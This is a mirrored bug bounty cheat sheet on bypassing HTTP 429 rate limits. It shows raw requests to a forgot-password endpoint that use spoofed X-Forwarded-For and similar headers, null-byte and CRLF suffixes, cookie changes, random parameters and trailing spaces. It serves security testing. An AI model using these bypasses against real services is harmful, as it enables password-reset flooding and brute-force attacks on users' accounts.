mirror of
https://github.com/daffainfo/AllAboutBugBounty.git
synced 2024-12-18 18:36:12 +00:00
86 lines
1.5 KiB
Markdown
86 lines
1.5 KiB
Markdown
# Bypass 429 (Too Many Requests)
|
|
|
|
1. Try add some custom header
|
|
```
|
|
X-Forwarded-For : 127.0.0.1
|
|
X-Forwarded-Host : 127.0.0.1
|
|
X-Client-IP : 127.0.0.1
|
|
X-Remote-IP : 127.0.0.1
|
|
X-Remote-Addr : 127.0.0.1
|
|
X-Host : 127.0.0.1
|
|
```
|
|
For example:
|
|
```
|
|
POST /ForgotPass.php HTTP/1.1
|
|
Host: target.com
|
|
X-Forwarded-For : 127.0.0.1
|
|
[...]
|
|
|
|
email=victim@gmail.com
|
|
```
|
|
|
|
2. Adding Null Byte ( %00 ) or CRLF ( %09, %0d, %0a ) at the end of the Email can bypass rate limit.
|
|
```
|
|
POST /ForgotPass.php HTTP/1.1
|
|
Host: target.com
|
|
[...]
|
|
|
|
email=victim@gmail.com%00
|
|
```
|
|
|
|
3. Try changing user-agents, cookies and IP address
|
|
```
|
|
POST /ForgotPass.php HTTP/1.1
|
|
Host: target.com
|
|
Cookie: xxxxxxxxxx
|
|
[...]
|
|
|
|
email=victim@gmail.com
|
|
```
|
|
Try this to bypass
|
|
```
|
|
POST /ForgotPass.php HTTP/1.1
|
|
Host: target.com
|
|
Cookie: aaaaaaaaaaaaa
|
|
[...]
|
|
|
|
email=victim@gmail.com
|
|
```
|
|
|
|
4. Add a random parameter on the last endpoint
|
|
```
|
|
POST /ForgotPass.php HTTP/1.1
|
|
Host: target.com
|
|
[...]
|
|
|
|
email=victim@gmail.com
|
|
```
|
|
Try this to bypass
|
|
```
|
|
POST /ForgotPass.php?random HTTP/1.1
|
|
Host: target.com
|
|
[...]
|
|
|
|
email=victim@gmail.com
|
|
```
|
|
|
|
5. Add space after the parameter value
|
|
```
|
|
POST /api/forgotpass HTTP/1.1
|
|
Host: target.com
|
|
[...]
|
|
|
|
{"email":"victim@gmail.com"}
|
|
```
|
|
Try this to bypass
|
|
```
|
|
POST /api/forgotpass HTTP/1.1
|
|
Host: target.com
|
|
[...]
|
|
|
|
{"email":"victim@gmail.com "}
|
|
```
|
|
|
|
## References
|
|
* [Huzaifa Tahir](https://huzaifa-tahir.medium.com/methods-to-bypass-rate-limit-5185e6c67ecd)
|
|
* [Gupta Bless](https://gupta-bless.medium.com/rate-limiting-and-its-bypassing-5146743b16be) |